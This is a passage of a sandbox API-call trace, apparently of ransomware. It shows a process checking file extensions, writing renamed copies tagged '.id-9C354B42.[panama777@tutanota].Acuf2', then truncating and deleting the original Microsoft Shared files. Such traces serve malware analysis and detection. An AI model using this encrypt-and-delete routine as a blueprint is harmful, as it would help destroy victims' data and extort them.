	[0058.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp")) returned 1
	[0058.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.843] lstrlenW (lpString=".doc") returned 4
	[0058.843] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1
	[0058.843] lstrlenW (lpString=".docx") returned 5
	[0058.843] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1
	[0058.843] lstrlenW (lpString=".pdf") returned 4
	[0058.843] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1
	[0058.843] lstrlenW (lpString=".xls") returned 4
	[0058.844] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1
	[0058.844] lstrlenW (lpString=".xlsx") returned 5
	[0058.844] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1
	[0058.844] lstrlenW (lpString=".ppt") returned 4
	[0058.844] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1
	[0058.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.844] lstrlenW (lpString=".zip") returned 4
	[0058.844] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1
	[0058.844] lstrlenW (lpString=".rar") returned 4
	[0058.844] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1
	[0058.844] lstrlenW (lpString=".bz2") returned 4
	[0058.844] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1
	[0058.844] lstrlenW (lpString=".7z") returned 3
	[0058.844] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1
	[0058.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.844] lstrlenW (lpString=".dbf") returned 4
	[0058.844] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1
	[0058.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.844] lstrlenW (lpString=".1cd") returned 4
	[0058.844] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1
	[0058.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.844] lstrlenW (lpString=".jpg") returned 4
	[0058.844] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1
	[0058.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.844] lstrlenW (lpString=".doc") returned 4
	[0058.844] lstrcmpiW (lpString1=".doc", lpString2=".HLP") returned -1
	[0058.844] lstrlenW (lpString=".docx") returned 5
	[0058.844] lstrcmpiW (lpString1=".docx", lpString2="2.HLP") returned -1
	[0058.844] lstrlenW (lpString=".pdf") returned 4
	[0058.845] lstrcmpiW (lpString1=".pdf", lpString2=".HLP") returned 1
	[0058.845] lstrlenW (lpString=".xls") returned 4
	[0058.845] lstrcmpiW (lpString1=".xls", lpString2=".HLP") returned 1
	[0058.845] lstrlenW (lpString=".xlsx") returned 5
	[0058.845] lstrcmpiW (lpString1=".xlsx", lpString2="2.HLP") returned -1
	[0058.845] lstrlenW (lpString=".ppt") returned 4
	[0058.845] lstrcmpiW (lpString1=".ppt", lpString2=".HLP") returned 1
	[0058.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.845] lstrlenW (lpString=".zip") returned 4
	[0058.845] lstrcmpiW (lpString1=".zip", lpString2=".HLP") returned 1
	[0058.845] lstrlenW (lpString=".rar") returned 4
	[0058.845] lstrcmpiW (lpString1=".rar", lpString2=".HLP") returned 1
	[0058.845] lstrlenW (lpString=".bz2") returned 4
	[0058.845] lstrcmpiW (lpString1=".bz2", lpString2=".HLP") returned -1
	[0058.845] lstrlenW (lpString=".7z") returned 3
	[0058.845] lstrcmpiW (lpString1=".7z", lpString2="HLP") returned -1
	[0058.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.845] lstrlenW (lpString=".dbf") returned 4
	[0058.845] lstrcmpiW (lpString1=".dbf", lpString2=".HLP") returned -1
	[0058.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.845] lstrlenW (lpString=".1cd") returned 4
	[0058.845] lstrcmpiW (lpString1=".1cd", lpString2=".HLP") returned -1
	[0058.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP") returned 68
	[0058.845] lstrlenW (lpString=".jpg") returned 4
	[0058.845] lstrcmpiW (lpString1=".jpg", lpString2=".HLP") returned 1
	[0058.845] lstrcmpiW (lpString1=".TTF", lpString2=".Acuf2") returned 1
	[0058.845] lstrlenW (lpString="MTEXTRA.TTF") returned 11
	[0058.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.846] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=7656) returned 1
	[0058.846] CloseHandle (hObject=0x1dc) returned 1
	[0058.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20
	[0058.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0058.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0058.846] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.846] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0058.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0058.847] GetLastError () returned 0x0
	[0058.847] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x1de8, lpOverlapped=0x0) returned 1
	[0059.295] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x1df0, lpOverlapped=0x0) returned 1
	[0059.296] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.296] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0059.296] SetEndOfFile (hFile=0x1f8) returned 1
	[0059.296] CloseHandle (hObject=0x1f8) returned 1
	[0059.297] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.297] SetEndOfFile (hFile=0x1dc) returned 1
	[0059.297] CloseHandle (hObject=0x1dc) returned 1
	[0059.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1
	[0059.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.298] lstrlenW (lpString=".doc") returned 4
	[0059.298] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1
	[0059.298] lstrlenW (lpString=".docx") returned 5
	[0059.298] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1
	[0059.298] lstrlenW (lpString=".pdf") returned 4
	[0059.298] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1
	[0059.298] lstrlenW (lpString=".xls") returned 4
	[0059.298] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1
	[0059.298] lstrlenW (lpString=".xlsx") returned 5
	[0059.298] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1
	[0059.298] lstrlenW (lpString=".ppt") returned 4
	[0059.298] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1
	[0059.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.298] lstrlenW (lpString=".zip") returned 4
	[0059.299] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1
	[0059.299] lstrlenW (lpString=".rar") returned 4
	[0059.299] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString=".bz2") returned 4
	[0059.299] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString=".7z") returned 3
	[0059.299] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1
	[0059.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.299] lstrlenW (lpString=".dbf") returned 4
	[0059.299] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.299] lstrlenW (lpString=".1cd") returned 4
	[0059.299] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.299] lstrlenW (lpString=".jpg") returned 4
	[0059.299] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.299] lstrlenW (lpString=".doc") returned 4
	[0059.299] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString=".docx") returned 5
	[0059.299] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1
	[0059.299] lstrlenW (lpString=".pdf") returned 4
	[0059.299] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1
	[0059.299] lstrlenW (lpString=".xls") returned 4
	[0059.299] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1
	[0059.299] lstrlenW (lpString=".xlsx") returned 5
	[0059.299] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1
	[0059.299] lstrlenW (lpString=".ppt") returned 4
	[0059.299] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1
	[0059.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.300] lstrlenW (lpString=".zip") returned 4
	[0059.300] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1
	[0059.300] lstrlenW (lpString=".rar") returned 4
	[0059.300] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1
	[0059.300] lstrlenW (lpString=".bz2") returned 4
	[0059.300] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1
	[0059.300] lstrlenW (lpString=".7z") returned 3
	[0059.300] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1
	[0059.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.300] lstrlenW (lpString=".dbf") returned 4
	[0059.300] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1
	[0059.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.300] lstrlenW (lpString=".1cd") returned 4
	[0059.300] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1
	[0059.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67
	[0059.300] lstrlenW (lpString=".jpg") returned 4
	[0059.300] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1
	[0059.300] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0059.300] lstrlenW (lpString="MSOEURO.DLL") returned 11
	[0059.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.301] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=31104) returned 1
	[0059.301] CloseHandle (hObject=0x1dc) returned 1
	[0059.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20
	[0059.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.301] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.301] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0059.302] GetLastError () returned 0x0
	[0059.302] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x7980, lpOverlapped=0x0) returned 1
	[0059.304] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x7990, lpOverlapped=0x0) returned 1
	[0059.305] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.305] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0059.305] SetEndOfFile (hFile=0x1f8) returned 1
	[0059.305] CloseHandle (hObject=0x1f8) returned 1
	[0059.306] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.306] SetEndOfFile (hFile=0x1dc) returned 1
	[0059.307] CloseHandle (hObject=0x1dc) returned 1
	[0059.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.307] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1
	[0059.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.307] lstrlenW (lpString=".doc") returned 4
	[0059.307] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0059.307] lstrlenW (lpString=".docx") returned 5
	[0059.307] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1
	[0059.307] lstrlenW (lpString=".pdf") returned 4
	[0059.307] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0059.307] lstrlenW (lpString=".xls") returned 4
	[0059.307] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0059.307] lstrlenW (lpString=".xlsx") returned 5
	[0059.307] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1
	[0059.307] lstrlenW (lpString=".ppt") returned 4
	[0059.308] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.308] lstrlenW (lpString=".zip") returned 4
	[0059.308] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString=".rar") returned 4
	[0059.308] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString=".bz2") returned 4
	[0059.308] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0059.308] lstrlenW (lpString=".7z") returned 3
	[0059.308] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0059.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.308] lstrlenW (lpString=".dbf") returned 4
	[0059.308] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0059.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.308] lstrlenW (lpString=".1cd") returned 4
	[0059.308] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0059.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.308] lstrlenW (lpString=".jpg") returned 4
	[0059.308] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.308] lstrlenW (lpString=".doc") returned 4
	[0059.308] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString=".docx") returned 5
	[0059.308] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1
	[0059.308] lstrlenW (lpString=".pdf") returned 4
	[0059.308] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString=".xls") returned 4
	[0059.308] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0059.308] lstrlenW (lpString=".xlsx") returned 5
	[0059.309] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1
	[0059.309] lstrlenW (lpString=".ppt") returned 4
	[0059.309] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0059.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.309] lstrlenW (lpString=".zip") returned 4
	[0059.309] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0059.309] lstrlenW (lpString=".rar") returned 4
	[0059.309] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0059.309] lstrlenW (lpString=".bz2") returned 4
	[0059.309] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0059.309] lstrlenW (lpString=".7z") returned 3
	[0059.309] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0059.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.309] lstrlenW (lpString=".dbf") returned 4
	[0059.309] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0059.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.309] lstrlenW (lpString=".1cd") returned 4
	[0059.309] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0059.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63
	[0059.309] lstrlenW (lpString=".jpg") returned 4
	[0059.309] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0059.309] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0059.310] lstrlenW (lpString="msgfilt.dll") returned 11
	[0059.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.311] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=38768) returned 1
	[0059.311] CloseHandle (hObject=0x1dc) returned 1
	[0059.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20
	[0059.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0059.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0059.312] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.312] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0059.326] GetLastError () returned 0x0
	[0059.326] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x9770, lpOverlapped=0x0) returned 1
	[0059.331] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0x9780, lpOverlapped=0x0) returned 1
	[0059.332] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.332] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0059.332] SetEndOfFile (hFile=0x1f8) returned 1
	[0059.333] CloseHandle (hObject=0x1f8) returned 1
	[0059.333] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.333] SetEndOfFile (hFile=0x1dc) returned 1
	[0059.334] CloseHandle (hObject=0x1dc) returned 1
	[0059.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1
	[0059.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
	[0059.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66
